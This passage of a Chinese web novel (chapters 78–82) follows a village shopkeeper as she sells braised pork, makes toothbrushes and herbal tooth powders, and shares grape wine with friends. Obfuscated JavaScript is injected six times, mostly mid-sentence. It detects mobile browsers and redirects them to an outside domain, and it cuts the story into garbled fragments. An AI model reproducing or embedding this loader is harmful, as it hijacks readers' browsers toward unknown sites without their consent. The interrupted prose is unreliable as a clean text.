卜霜便也喂了他一块，万辽惊叹的瞪大眼睛：“娘，你这红烧肉也太好吃了，现在就可以端去铺子里卖了。” 他们俩喜欢吃，卜霜自然很开心。 几人吃过晚饭后，万辽的话，却让卜霜若有所思起来。 她早就想在卜记食铺上新菜了，但是不确定这第一个菜要卖什么比较好。 此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466498|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让万辽一说，忽然觉得第一道菜就卖这红烧肉是很不错的。 杀年猪之后的日子，大家都会大方一点，出来买年货的人会很多，她卖红烧肉，多应景啊。 卜霜越想越觉得可行。 正好她这么多的猪肉还不知道怎么吃呢。 自从上次看过地之后，卜霜就一直想着再找一些能赚钱的生意做。 她上次和牙侩说让他帮她把那片地多留一些日子，但是她也知道，牙侩也留不了太久，要尽快赚钱把地买下来。 卜记食铺再多卖一道菜，每日的收益也就能更多一些。 但是光靠这些还是不够。 还有什么赚钱的方法呢，做什么好呢。 她正出神的想着，忽然万絮进来说门外有人喊她。 卜霜走出去一看，正是芳华阁的伙计，是来给她送这个月香胰子的分成来了。 她掂了掂钱袋子，这个月的分成要比第一月的分成还多了不少，看来她的香胰子在县城里卖的很好啊。 卜霜开心的回了院子，正看到万萱饭后消食抱着兔子出来玩了。 万辽在水槽里拿着树枝刷牙。 万萱摸着兔子，对卜霜道：“娘，你要摸吗，这兔子的**又软又密的可舒服啦。” 卜霜看了看万辽，又看了看被万萱抱着的兔子一眼。 忽然就有了一个想法。 她既然可以做香胰子赚钱，是不是也可以再做些人们常用的东西卖呢？ “做牙刷？” 四个小崽子围着坐成一圈，听卜霜说她忽然的想法。 “对啊，你们还记得牙刷吗？”卜霜问他们。 万路点头，香粉铺子就有卖这个，他们之前去香粉铺子买香胰子的时候都见过。 村里人家刷牙时用的都是树枝，把一端用牙齿咬软了或者直接用石头，等树枝一端撒开变成细小的刷毛状时，蘸清水，涂盐来刷牙。 他们也是长了见识才知道，有钱人家刷牙不是用树枝，原来还有牙刷这么好用的东西。 第78章 红烧肉 “娘，你不仅会做香胰子，连牙刷都会做啊？” 看着四个小崽子崇拜的眼神，卜霜很是满足。 “牙刷做起来不算难，但是光是会做还不够，我们还要做的比他们卖的牙刷好，成本比他们的牙刷低，这才能赚到钱。” 卜霜每去一个铺子都会先把铺子里卖的东西好好看过，现在镇上卖的牙刷都是用木头做的，上面钻上一排小孔，然后用马尾，狼毫插入进去固定好了之后用。 这样木料，马尾，狼毫的用下来，成本自然就贵，所以这就是为什么村里人都不买，甚至没听说过牙刷的原因，这样的贵重东西只有大户人家才用的起了。 只要她能把如今的牙刷再改良好，那客源就不局限于有钱人，她的牙刷自然就能赚很多钱了。 万路想了想：“我觉得如果真如娘所说，牙刷做出来后肯定很赚钱。” “牙刷可比树枝好用多了，确实如果能做出来，价格再便宜些，相信没有人会不愿意买牙刷用的。”万絮也很兴奋，她聪明，这些日子来跟着卜霜经商，已经很有见识了，顺着这个思路想下去，她忽然又道：“娘，既然我们要做牙刷，为什么不把牙粉一便做了呢？” 对哦。 卜霜一拍手。 村里人刷牙用清水或者粗盐刷，如今香粉铺子里卖给有钱人的牙粉，也都是最基础的用料，虽说比盐好用，但是没什么新意。 她要是能做出新的牙粉，比如像香胰子一样有各种功能的，或者是有更多香味的牙粉。 那可就有的赚了。 毕竟牙刷买一只就可以用好多个月，可是牙粉却要每隔一段时间买一次。 她要是做出来了多种花样的牙粉，卖给那些有钱人，说不定这牙粉可要比牙刷还要赚钱。 卜霜开心的捏捏万絮的小脸：“你想的很对，这牙粉可是个大生意，你现在都可以去做生意了，万絮小老板。” 万絮被卜霜夸的红了脸，心里也很激动。 “那我们就做一些牙刷和牙粉，然后自家人先试试，都觉得好了再去卖。” 万絮说的是这个道理，就像香胰子一样，他们先做再售，就算卖不出去还能自己用。 卜霜也认同，拍拍手： “万路，万辽，万絮，万萱，你们几个明天早点回来，咱们一起做牙刷和牙粉，回来后万路和万辽去后山砍几颗竹子，娘明天卖完卤味后就去药铺买一些做牙粉的药材，到时候回来再说怎么做。” 做牙刷要节省成本，她记得后山有一大片竹子，竹子可不怕冷，冬天也有很多，用竹子来代替做牙刷用的木料再好不过了。 几个人兴奋了一会儿就睡下了。 第二日，卜霜照常去镇子卖卤味，临走时特意从厨房拿了一些猪肉过去。 她准备今天就做一些红烧肉卖，做的不多，先试试卖的怎么样。 到了卜记食铺后，卜霜先和荔香忙活着把昨日卤好的卤味放在锅里热好，然后收拾好铺面，等开了铺子门后，就由荔香在外面招待食客，自从答应给何府供应卤味后，她们每日要卤的猪下水的数量就更加多了，荔香一个人忙不过来，卜霜就又请了一个伙计专门帮着清理和卤猪下水，铺子有她们两个人照应，足够了。 卜霜趁机就在厨房里做红烧肉。 等全部的猪肉都做完红烧肉，已经快要到了吃午饭的时间了。 最近出来买年货的人数量激增，农户们好不容易忙完农忙，办完家里的活计，得了空闲，出来逛街买年货又一时半会买不全，他们这几日通常在镇上一逛就是一整天，是不愿意轻易就回家的，手里拿着钱，人们出手也比之前都要大方，午饭就会在镇上解决，吃饱了继续逛。 这就是卜霜红烧肉最好的推销机会。 卜记食铺一如既往的火热，因为快到年节生意更加好了些，门口排的人还不下几十名。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471227|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>卜霜把红绕肉都舀在木桶里，她还做了好些米饭，装到另一个木桶，然后把它抬到外面的柜台上。 盖子打开后，卜霜就开始对着铺子外来买卤味的食客和街道上人来人往的路人招呼： “快来瞧一瞧，快来看一看，我们卜记食铺上了新菜品了，红烧肉，这红烧头可是用的自家的年猪肉做的，香而不腻，各位吃了来年保管生活富足，顿顿都能吃的起猪肉啊。” 红烧肉和米饭的香味飘出去，便勾的街上的人走不动路。 她一招呼，再加上卜记食铺近些日子来的名气，立时便有好些人围了上来。 “掌柜的，原来你这铺子不止卖卤味啊，”最先说话的是经常来买卤味的熟客，他刚刚才买好卤味，手里拿着油纸包正要去食铺子里叫上酒，就着这些卤味，好好吃一顿饭，没想到还没走出几步正好就赶上卜记食铺推出新菜售卖，当然忍不住过来看看。 “对啊，各位吃过我家的卤味，自是知道我家卜记食铺的手艺，如今卖的可不是猪下水了，这些红烧肉都是我挑的最好的五花肉做出来的，吃上一块红烧肉再就上一口醇香的大米。保管你们吃了后念念不忘，还想再吃呢。” 有人盯着那肉，咽了咽口水，问道：“那这一道红烧肉怎么卖啊？” “这红烧肉是新菜，我今日做的不多，也是让各位都能尝尝好不好吃，所以今日就按一勺一勺的卖，二十文一勺红烧肉，大米一碗五文，不算贵，等到了明日就正常卖了。” 那熟客本就饿的肚子都在叫，立时便道：“我相信卜掌柜的手艺，先给我来一勺红烧肉和一碗大米，我就在铺子里吃了。” “好嘞，您请进。”卜霜高高兴兴的应了。 然后她就从木桶了舀了一碗米饭，然后把红烧肉直接浇在那米饭上头，还淋上了汤汁，让荔香给送进去。 那卖相，那香味，就直接从众人的眼前绕了一圈送了进去，好多人的肚子都忍不住叫了起来。 第79章 做牙粉 那红烧肉鲜亮，汤汁油润，拌在饭里每一粒米都裹上了油脂。 虽然香的他们已经受不了，但是他们还是忍着想看看熟客吃了之后是什么表情。 于是众人盯着那碗诱人的红烧肉进了铺子里，放在了熟客的桌上，他们都一动不动的看着熟客的反应。 红烧肉一放到熟客面前，他就迫不及待的吃起来，五花肉炖的牙齿一碰就噗嗤爆汁，瘦肉吸饱了汤汁，肥肉炖的出胶，一筷子进肚子里，熟客立刻发出一声享受的喟叹。 “卜掌柜，你这红烧肉也太好吃了，我还没吃过做的这么好吃的猪肉呢，我明天一定要把我媳妇孩子带过来再吃。” 他说完便不住的往嘴里塞饭，一口接一口，那样子好像多少天没吃饭一样，没一会儿一碗饭就都吃光了。 熟客揉了揉肚子，毫无形象的打了一声饱嗝。 看着他吃的那么香，围观的路人立时忍不住了，拿出钱袋子就喊：“掌柜的，也给我来一勺红烧肉。” “我也要，我也要。” “我要两勺。” “好好好，大家都排好队，一个一个来。”卜霜笑着接过钱，一勺一勺的从木桶里舀肉，浇到大米上，有伙计端去里面的铺子里。 荔香连忙把买了红烧头的食客请到铺子里坐着吃，很快铺子就坐满了，坐不下的食客们为了吃这口红烧肉蹲在门外也要吃。 这里轰动的场景很快就吸引了无数的路人，大家伙放在别处暖和又舒服的食铺子不去吃，偏偏在这里找地方蹲着吃饭的样子实在是让路人们觉得纳闷。 有人揪住一个排队的食客便问：“你们这是在买什么呢，有那么好吃吗？” 食客兴奋道：“哎呦你不知道，卜记食铺出了新吃食了，叫什么红烧肉，不过就做了一木桶，我才刚过来正好遇到同乡吃完出来，他说啊这红烧肉做的比牛肉还香呢，我就赶快过来排队买一勺尝尝，你看这么多人都是在买红烧肉，哪还等得及铺子里面的人吃完出来再买啊，再不买啊那红烧肉就要卖光了。” 路人听了他的话又闻了闻空中飘着的肉香，忍不住咽了咽口水，也排在了后面。 等到排到两人正好铺子里有了空位，两人就坐在了铺子里面吃，刚一入口，两人的眼睛都亮了，才知道他那个老乡说的都是真的，太香了。 那红烧肉，咸甜交织在一起，酥烂黏糯，入口即化，只听铺子里此起彼伏一声声赞叹。 不一会一桶红烧肉和一桶大米就全部卖光了，还有好多人没有买到红烧肉，只能买了些卤味解馋，所以今日卤味卖的也比往日要更快一些，卜霜在柜台后清点好今日的收益，笑了。 这才第一天卖红烧肉，还没做很多，就赚了这么多钱，今天没吃到红烧肉的人很多，明日肯定还会再来，而那些吃过红烧肉的一传十十传百，她已经能想象的到，明日正式售卖红烧肉时生意会有多好。 果然铺子里第一道菜卖红烧头的想法是对的。 关了铺门后，卜霜就准备去买回去做牙刷和牙粉的原料了。 牙刷她要用竹子和猪毛做，竹子的话后山要多少有多少，至于猪毛，昨日刚杀年猪，肉铺掌柜那里一定有很多，也不用担心。 至于牙粉的原料就需要去买了。 卜霜去了镇上药铺，买了些薄荷，檀香，金银花，珍珠粉，升麻，白芷，旱莲草，三七，细辛，包好之后她又去向肉铺掌柜那里要了些猪毛。 正事都办好之后，时间还早，眼看要过年节，镇上买年货的人一日比一日多，卜霜也想在镇上逛逛，也买一些年货回去。 她想了想要买点啥。 已经有了猪肉了，家里缸子里也有鱼，那就再买些鸡肉吧。 家里上回买的大米和白面这些日子已经吃的差不多了，还要再买几十斤。 年节的时候孩子们都要吃糖，给小崽子们再多买些松子糖和麦芽糖回去。 还有邻居串门时免不了要吃干货，瓜子啊什么的都买一些。 万辽他们几个最近念书可用心了，上次买的纸可能不够用了，还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474502|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再买一些。 然后各样酒楼新出的点心都打包几盒带回去，送给赵姐姐，张婶和聂鸿轩。 卜霜暂时只想到这么多要买的东西，剩下的她想下次和万路他们一起出来的时候再买。 趁他们出来，卜霜还想给万絮和万萱买几件首饰。 她们家如今富裕了，她想每年都给女儿们买几件像样的首饰。 都想的差不多了，卜霜就先去粮食铺买了几十斤各样的粮食，然后又去各样铺子买好了剩下的东西，买鸡肉的时候，卜霜忽然想了起来，她之前一直想买几只鸡回去养呢。 于是卜霜又来到了卖鸡的地方，买了几只老母鸡和小鸡仔，用笼子装起来。 这是她们家养的第三种动物，有了鸡，以后她们家天天都有鸡蛋吃了。 都买好了，卜霜把东西放好，就赶着牛车回了村子里。 回家后万路他们几个开心的从牛车往下搬年货，卜霜回了院子就看到他们已经把竹子都砍好了。 等他们都玩够了，卜霜就和万路他们开始做牙刷和牙粉了，她先让万路和万辽去把竹子砍成又长又扁的长条，然后用猪油涂抹好，这样做出来的竹子不会褪色。 她则把猪毛要用姜煮过去腥味。 然后在收拾好的竹子上方钻两排小孔，之后把煮过的猪毛穿入小孔里，用丝线从竹子背面固定好。 最后一步就是把固定好的猪毛修剪平整。 这样一把牙刷就做好了。 万路他们几个拿着做好的牙刷，爱不释手。 “没想到这牙刷也挺好做的，而且这样一把牙刷能用好几个月呢。”万絮感叹道。 “但是如果别人学着我们做的牙刷也去卖那怎么办呢？”万辽问道。 “虽然这牙刷不难做，但是也不是谁都能做出来的，我们做的牙刷之所以能用几个月，是因为牙刷不褪色，而且刷毛固定的很好，但是他们不会固色和固定刷毛的方法，就是做出来了，也不可能有我们的好。” 第80章 卖酒 听了卜霜的话，四个小崽子都点头。 接下来卜霜又带着万路他们多做了一些牙刷，放在院子阴凉处晾着。 “接下来我们就可以试试做牙粉了。”卜霜把今日买回来的药材都取了出来，然后给孩子们介绍了这些药材都叫什么之后，、道，“万路和万絮把药材都洗干净，万辽去把这些药材都磨成粉末，万萱去找几个瓷罐子。” “娘，咱家没有石磨啊，怎么磨粉呢？”万辽从厨房里找了一圈，跑出来问道。 没有石磨？ 卜霜想了想，忽然眼睛一亮：“那你拿着洗好的药材，去你张婶家里问聂哥儿借石磨把药材都磨好了再拿回来。” 她记得上次在聂鸿轩家里是有看到的，只是不知道他用这石磨是做什么。 几个孩子应了一声就各自去干活去了。 万路和万絮把药材洗了好几次，然后万辽就背着一竹筐，手里还拿着一竹筐，拿着这些药材就跑出去了。 不一会儿万辽就回来了，只不过拿回来的只有一部分药粉：“娘，聂先生看到我拿到药材太多了，就先帮我磨了一部分，让我给你带回来做牙粉，剩下的他说他都磨好之后给拿过来。” 自从万路他们几个去观澜私塾念书后，有什么不懂的回家后都会跑去张家问聂鸿轩，所以他们现在管聂鸿轩也叫先生。 卜霜料想是聂鸿轩看到万辽拿的东西多，怕他拿不动，才说药材太多，让他先回来。 他一向就是个这么个人，看着冷淡，其实很热情细心。 卜霜去看过万辽拿回来的药材，果然每样药材的粉末都有一些，足够她先做一部分的牙粉了。 即便她早知道聂鸿轩的为人，还是会被他的细心震撼到。 这些药材的粉末都磨的十分细腻，不像是第一次做这事能磨出来的效果。 卜霜就问万辽：“你去张家时，聂先生在做什么？” 万辽想了想：“先生当时就在用石磨，炉上好像在煎什么东西，一股药味。” 万辽的话不由的让卜霜想起上次吃饭时见到聂鸿轩时他那清瘦了许多的身子，还有时不时就咳嗽。 这几日她忙的不可开交，也没有时间去问一问。 不过现在不是想这些的时候，几个孩子都干好活，卜霜就开始做牙粉。 她这次准备先做几种不同功能性的牙粉，然后再配上各种不同的香味。 卜霜先将珍珠粉，白芷磨成细粉，然后过筛，混合后加入玫瑰露调匀，这样的牙粉淑过口后嘴里都是香的，而且还有美白功效。 然后她又将旱莲草，三七磨成细粉，粗盐炒过后也磨成细粉，混合这些药材和粗盐的粉末过筛，最后再加入薄荷粉末，这样做出来的牙粉有止血功效。 细辛，花椒磨成细粉，加入薄荷做出来的牙粉有止痛功效。 三种不同功效的牙粉做好后，卜霜又将这几种粉末分别加入不同的花粉，调制出了好几种花香味的牙粉。 然后把这些不同的牙粉都装进瓷罐子里。 “娘，这牙粉就做好了吗？” 万萱站在瓷罐子前一个个的看，开心的不得了。 “是啊，你们今天晚上就用这牙刷和牙粉试试看好不好用。” 四个小崽子兴奋的开始分这些牙粉。 就当这时，聂鸿轩过来了，他手里拎着一大堆包好的药粉，还有一个食盒子。 “聂哥儿。”卜霜上去接过他手里的药粉，拉着他的衣袖对着他身体上下来回的看看。 还好他看上去虽然清瘦，但是气色比起上次来要好了不少。 聂鸿轩任由她拉着，表情有些疑问。 这些日子以来他们亲近了很多，但是还没有如此近距离的接触过。 直到卜霜把脸凑近他脖子衣领的地方嗅，聂鸿轩才忍不住问： “卜姑娘你在干嘛？” 万辽说的对，聂哥儿身上果然是有一股药味。 他就是在煎药。 卜霜站直了，笑道：“这大晚上的了，你不用自己过来跑一趟的，万辽那小家伙吃的像头小牛犊子，很有力气。” “也不全是为了这个，我听万辽说你是要做牙刷和牙粉的生意，我想着这已经晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480824|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你肯定不会去叫朋友帮你做，我就过来看看能帮你做什么？” “这个简单的很，不用你帮我，你看我已经做出来一批了。” 卜霜就带着聂鸿轩去看她做好的牙刷和牙粉，一边介绍。 “我想着先做一些出来自己试试，好用了再卖，你来的正好，一会儿我给你和张婶带一些回去。” 聂鸿轩看着那牙刷，眼睛闪着光：“这好像和我用的牙刷有些不同，刷毛不像是狼毫，但是你做的牙刷用料更硬挺，而且很牢固。” 卜霜一愣：“你一直用牙刷？” 聂鸿轩点头：“也用牙粉。” 果然是有钱人啊，这生活比她好多了。 万絮很兴奋的介绍：“我娘做的牙刷是改良过的，刷毛变成了猪毛，而且也更加加固了，比香粉铺子里卖的还要好用。” 聂鸿轩点头，看着卜霜，微微有点笑意：“你真的很聪明。” 他可不轻易夸人，卜霜看着他的笑容晃了晃神，她摇了摇头让自己回神，看到聂鸿轩手里还提着的食盒子，问道：“这是什么？” “这是我娘酿的酒，让我送一些给你尝尝。” “对了，我酿的葡萄酒。”卜霜忽然想起什么。 她上次放在地窖里的葡萄酒早就酿好了，这些日子太忙她也没想起。 卜霜连忙把地窖的葡萄酒都取了出来，把盖子打开，酒香立刻就飘了出来。 她拿了一个竹筒然后用坛子里舀了一勺葡萄酒出来，先给聂鸿轩尝。 聂鸿轩既然这么有钱，说不定曾经就喝过这葡萄酒，这酒的好坏他最有发言权。 “怎么样，好喝吗？” 卜霜紧盯着聂鸿轩，看着他的表情。 直到聂鸿轩点头，立刻就从他手中拿过来竹筒，自己也尝了一口。 “就是这个味道。” 卜霜笑起来，她的葡萄酒酿的很好喝，可以卖了。 她光顾着兴奋，没看到聂鸿轩忽然僵硬的身体。 “卜姑娘，你...你拿的是我用过的竹筒。” 第81章 朋友 “对啊。”卜霜点点头，毫不在意的看了一眼手里的竹筒，完全没有意识到什么，“怎么了。” 说话间她还又喝了一口里面的葡萄酒，咂了砸嘴，眯着眼睛一脸满足，“好香甜啊。” 聂鸿轩一楞，眼神在那竹筒边沿和卜霜沾了酒后湿润的唇上看了一眼，立刻收回眼神，即便如此他的脸还是不由的红了起来。 男女授受不亲，即便村里没县城里那么讲究，但是男女之间相处也是很有分寸的，看卜霜的样子像是对此一无所知，聂鸿轩一时间竟然不知道要怎么提醒卜霜，他们用同一个竹筒喝酒，这实在是很亲密的动作，而且他过目不忘，卜霜的唇碰到的那个地方正是他刚刚喝酒时嘴唇碰过的。 她还全然不知，还满脸笑意的说什么香甜。 聂鸿轩长这么大，从县城到武安村，从锦衣玉食到粗衣粝食，历经世事，什么没经历过，可是他竟然觉得没有什么比眼前的场面更让人不知道如何处理了。 万路几个在酒坛子旁边蹲着，看着他们两个大人喝酒，那表情不用多说什么卜霜就知道他们也想喝。 卜霜就又给他们打了一勺酒，然后递给他们让他们品尝，这种刚酿出来的果子酒不醉人，但是她也不许他们多喝，尝一口就可以了。 “香香的还有点甜甜的，我还没喝过酒呢，这酒好好喝啊。”万絮咂着嘴笑道。 “比镇上卖的酒好喝多了，娘你真厉害，什么都会做。”万辽也夸道。 “聂哥儿，你觉得我这葡萄酒比起你之前喝过的酒味道如何，能卖个好价吗。” 卜霜一抬头就见聂鸿轩脸色有些异样，她瞬间想起他的身体，难道是犯病了？ 卜霜担忧的上前走了几步，问道：“聂哥儿你怎么脸这么红？哪里不舒服吗？” 聂鸿轩看着她向自己走过来，猛的向后退了几步，发觉自己有些太过激动了，又停下来，装的若无其事道：“卜姑娘，我没事，可能是过来的时候走的太急，有些热。” “热？” 这大冬天的，天色也快黑了，每个人穿着棉衣都还觉得冷，他怎么会热？ 看着聂鸿轩略有些不自然的动作，卜霜瞬间更加确定了，他就是病了，但是不知道为什么隐藏着不想让她知道。 “你让我看看。”卜霜又向前走了一步。 “不，不用了，我真没事。”聂鸿轩向后退。 接下来卜霜只要向他的方向前进几步，聂鸿轩就后退几步。 卜霜脾气上来，又担心他的身体，快步走了几步，直接把聂鸿轩抵在了屋墙上，让他无处可退。 “卜姑娘...”聂鸿轩看到后面没路了，就要推开她。 只见卜霜直接一手就附在了聂鸿轩的额头上。 卜霜摸了他的额头的温度，然后又顺着蹭了蹭他的脸。 聂鸿轩的脸只是有些热热的，还有些出汗，没有感觉到烫，难道她想错了，他真的只是热的脸红？ 卜霜不甘心，又凑近了些去看他的脸。 她一定要看出什么不同。 聂鸿轩似乎很紧张，仰起头避开她的脸，他的身体绷得很紧，胸膛也在起伏，但是呼吸却很弱，几乎感受不到。 卜霜凝重道：“聂哥儿，我们认识这么长时间了，也朝夕相处了很久，这么久以来你把我当什么？” “我...”聂鸿轩的喉结上下滑动了一下，正要说什么，就听卜霜直接道。 “不管你把我当什么，我早就已经把你当成朋友了。” 朋友？ 听到这个词，聂鸿轩一愣，他的目光缓缓对上卜霜发亮的眼睛。 “我早就想问你了，以前村里人都传你搬来武安村是为了养病，我不信，但是自从入了冬我总能听到你咳嗽，而且你一日比一日要瘦了，万辽去你家时还看到你在煎药，我刚刚也确实在你身上闻到一股药味，你可不要这药是给张婶喝的，如果是别人喝的药你身上的药味不会这么重，聂哥儿，你好好回答我，你真的有什么隐疾吗，为什么瞒着不让别人知道，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485122|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的朋友，你和我说出来，我可以帮你。” 聂鸿轩注视着着她，他们靠的很近，近到他可以清楚的看到卜霜那双漂亮发亮的眼中没有任何掩饰的担心。 没想到卜霜一直在关注他。 他的隐疾入了冬确实更加厉害了，但是他一直忍着没有任何异样，如果不是细心观察了他许久，是不会看出这么多细节的。 他从来没有朋友，这个隐疾让他在府中受尽冷眼，甚至被赶出了府，没想到小小一个武安村里竟然会有一个人对他说，她把他当成朋友，会帮他。 “我...”聂鸿轩看着她，刚要说什么。 “卜妹妹，我来串门了，你在干嘛呢？” 赵昭明忽然进来。 聂鸿轩一惊，这才想起来他们两个人现在是什么动作，连忙扶着卜霜的肩将她推开。 好在赵昭明没有注意他们那边，一进来就被院中的酒坛子和万路几个吸引，激动道：“这不是我和卜妹妹酿的葡萄酒吗？” 卜霜笑着走过来： “赵姐姐你来的正好，我们酿的葡萄酒已经好了，你快过来尝尝。” “娘，刮风了，好冷啊，我们回屋子里喝吧。”万萱抖了抖。 卜霜看了看聂鸿轩，他出了汗，是要小心不要得风寒，立刻道：“好，我们回屋子里。” 卜霜招呼所有人在屋里坐下，拿来开了的那坛酒，然后去厨房找了几个小碗，给每个小碗里倒了一些葡萄酒出来。 那酒倒在碗里，众人才看到这酒竟然是紫红色的，色泽鲜亮，很是漂亮。 赵昭明迫不及待就往嘴里灌了一口，下一刻就露出十分陶醉的表情，大声道：“这酒，这酒，也太好喝啦。” “虽然这酒也有很重的酒味，但是一点也不辣，香醇入口还是甜的呢，我感觉这酒连小孩都能喝。” “赵姐姐，这就是葡萄酒的味道。”卜霜忽然有些担心，“就是不知道和县城里卖的葡萄酒比起来怎么样？” 第82章 新生意 聂鸿轩看着她道：“你酿的葡萄酒味道更好，也更加香醇。” “真的？”卜霜别提有多开心了，亮晶晶的眼睛看着他。 聂哥儿会这么说就是他曾经喝过县城里卖的葡萄酒，他既然说她的酒更好，那就一定好。 “真的。”聂鸿轩点头，看着她的表情忽然就笑了：“一定能卖个好价钱。” 卜霜笑了。 他果然知道她最在乎的是这些酒能赚多少钱，不过卜霜嘴上还是道。 “那就好，那天是赵姐姐和我酿废了好大的功夫酿的，还好没白费。” 转眼再一看，赵昭明竟然已经把碗里的葡萄酒都喝光了，拿起酒坛子又在倒酒。 “赵姐姐，这葡萄酒虽然好喝，但是也是酒，喝多了你会醉的。”卜霜忙道。 这山葡萄酿出来的酒竟然分外好喝，可能是自然成熟的品种，就比普通的酒更加香醇，但是后劲也是很大的。 赵昭明不是贪杯的人，这次不知道怎么了，尝了一口之后就停不下来了。 她笑道：“我酒量可好了，你别是不舍得给我喝，你还欠我一坛好酒呢。” “答应把酿的最好的一坛酒送给你，早就给你留着呢，你走的时候就能带走，但是现在喝醉了，是不想回家了吗，你要是醉了我可背不动你。”卜霜也笑。 “那有什么的，你背不动不是还有聂...”赵昭明忽然觉得自己这话有些不对，她是个寡妇，聂哥是男子，要是真醉了让聂哥儿把她背回去，让人看到了不知道要怎么说。 她立刻不说了，又喝了一口葡萄酒，感叹道：“卜妹妹，你也太厉害了，这葡萄酒居然一次就酿好了。” 卜霜挑眉道：“这有什么啊，我还有好东西给你看。” “什么东西？”赵昭明问道。 卜霜就出去把做好的牙刷和牙粉拿回来给赵昭明看。 赵昭明捧着那牙刷和牙粉看了好长时间，不可思议道：“这些牙刷和牙粉都是你做的？” 卜霜很骄傲点头。 赵昭明激动的起身，拉着卜霜的手左一圈右一圈的转圈看她。 “哎呦，赵姐姐你干嘛啊，我都要晕了。”卜霜笑道。 “我在看我们卜大美人啊，心灵手巧，长的又这么漂亮，没有什么是你不会的，以后不知道哪个小郎君有福气能娶你这样的姑娘。”赵昭明挤眉弄眼的笑。 聂鸿轩手中的酒忽然停了下来。 “哎呀，赵姐姐你别瞎说了，我还有孩子呢，成什么婚啊。”卜霜急忙打她。 “那又怎么了，你还这么年轻，迟早有一天还会遇到一个情投意合，对你好的小郎君的，就是不知道谁有这个福气喽。” “赵姐姐，我看你一定是醉了。” 聂鸿轩手中端着那碗紫红色的葡萄酒，卜霜笑吟吟的就和赵昭明在屋里打闹，也许是烛火太亮眼，他忽然有些不敢看卜霜。 既然这葡萄酒大家一致觉得可以，卜霜就准备在大棚里栽种几颗山葡萄树了，然后等山葡萄成熟之后，大量的酿一些葡萄酒卖。 当然如果大棚里种不出来，她还有空间灵田，还是可以种出大量山葡萄的。 既然要酿葡萄酒，那之后还有许多事情要办，上次酿酒时只买了几个酒坛子，既然要酿葡萄酒，那就要去镇上再定做一批酒坛子才行。 赵昭明道：“你一个人，哪里忙的来这么多事，酿酒可不简单，我来帮你。” “再加我一个。”聂鸿轩也道。 卜霜看一眼赵昭明，再看一眼聂鸿轩，心里一时暖暖的。 这晚三人举杯畅饮，都有些醉了。 “这葡萄酒做好后可以在食铺子里卖，但是牙粉和牙膏你又不做这个生意要怎么卖？”赵昭明问道。 卜霜心里早有对策了。 这些牙粉和牙膏只要能做出来售卖倒是简单。 只是这葡萄酒，如果只放在卜记食铺里卖，一家小小的食铺子卖的再多又能赚多少钱呢，她要把这酒推销出去，让所有人都知道，所有食客都去买，那才赚钱呢。 至于把这酒介绍给谁才能借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494606|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的渠道推销出去，卜霜心里倒是出现了一个人选。 